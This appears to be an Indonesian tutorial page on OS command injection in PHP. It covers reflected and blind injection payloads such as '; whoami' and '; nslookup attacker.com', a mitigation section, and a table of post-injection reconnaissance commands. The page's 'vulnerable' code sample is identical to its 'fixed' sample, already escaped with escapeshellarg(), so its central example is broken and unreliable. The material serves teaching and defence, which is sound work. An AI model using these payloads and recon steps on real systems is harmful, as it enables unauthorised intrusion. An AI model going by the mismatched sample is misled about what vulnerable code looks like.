Vulnarena

🔧 Command Injection

Command Injection adalah kerentanan yang terjadi ketika aplikasi mengeksekusi perintah sistem dengan menggunakan input user tanpa validasi yang memadai. Hal ini memungkinkan penyerang untuk menyisipkan dan mengeksekusi perintah OS berbahaya seperti ls, cat, atau bahkan reverse shell.

💻 Contoh Kode PHP + Penjelasan

example.php PHP
1 <?php
2 $filename = basename($_GET['file']);
3 system("ls " . escapeshellarg($filename));
4 ?>

🔎 Penjelasan:
- Penyerang juga bisa menggunakan command injection untuk mencuri data, membuka reverse shell, atau melakukan pivoting ke sistem internal.
- Kerentanan ini umumnya ditemukan di fungsi PHP seperti system(), exec(), popen(), dan shell_exec().
- Command injection berbeda dengan code injection karena menargetkan perintah OS, bukan kode aplikasi.

💡 Jenis Command Injection

Secara umum, terdapat dua jenis utama dari command injection:

🔁 Reflected Command Injection

Penjelasan: Jenis injeksi ini akan langsung menampilkan hasil dari perintah yang disisipkan ke halaman web. Artinya, penyerang bisa langsung melihat apakah serangannya berhasil.

reflected-payload.txt Payload
1 ?file=; whoami
2 ?file=; ls -la
  

🔎 Penjelasan: Hasil dari perintah seperti whoami atau ls akan langsung muncul di halaman, sehingga penyerang bisa langsung tahu apakah injeksinya berhasil.

🕶️ Blind Command Injection

Penjelasan: Output tidak langsung terlihat oleh pengguna. Penyerang mengandalkan efek samping seperti delay atau permintaan keluar untuk memastikan apakah perintah berhasil dijalankan.

blind-payload.txt Payload
1 ?file=; sleep 5
2 ?file=; ping -c 3 127.0.0.1
3 ?file=; nslookup attacker.com
  

🔎 Penjelasan: Perintah seperti sleep, ping, atau nslookup membuat server berhenti sejenak atau menghubungi server lain. Cara ini digunakan untuk mengetahui apakah perintah berhasil dijalankan, meskipun hasilnya tidak ditampilkan langsung di layar.

🧐 Cara menanggulanginya

example.php PHP
1 <?php
2 $filename = basename($_GET['file']);
3 system("ls " . escapeshellarg($filename));
4 ?>

🔎 Penjelasan:
- basename() mencegah path traversal
- escapeshellarg() membungkus input dengan benar agar karakter berbahaya tidak bisa dieksekusi.

🧰 Perintah Penting Setelah Injeksi

Setelah berhasil menemukan celah command injection, perintah berikut dapat digunakan untuk mengenali lingkungan sistem:

Tujuan Linux Windows
Nama pengguna saat ini whoami whoami
Sistem operasi uname -a ver
Konfigurasi jaringan ifconfig ipconfig /all
Koneksi jaringan netstat -an netstat -an
Proses yang berjalan ps -ef tasklist

📚 Sumber Referensi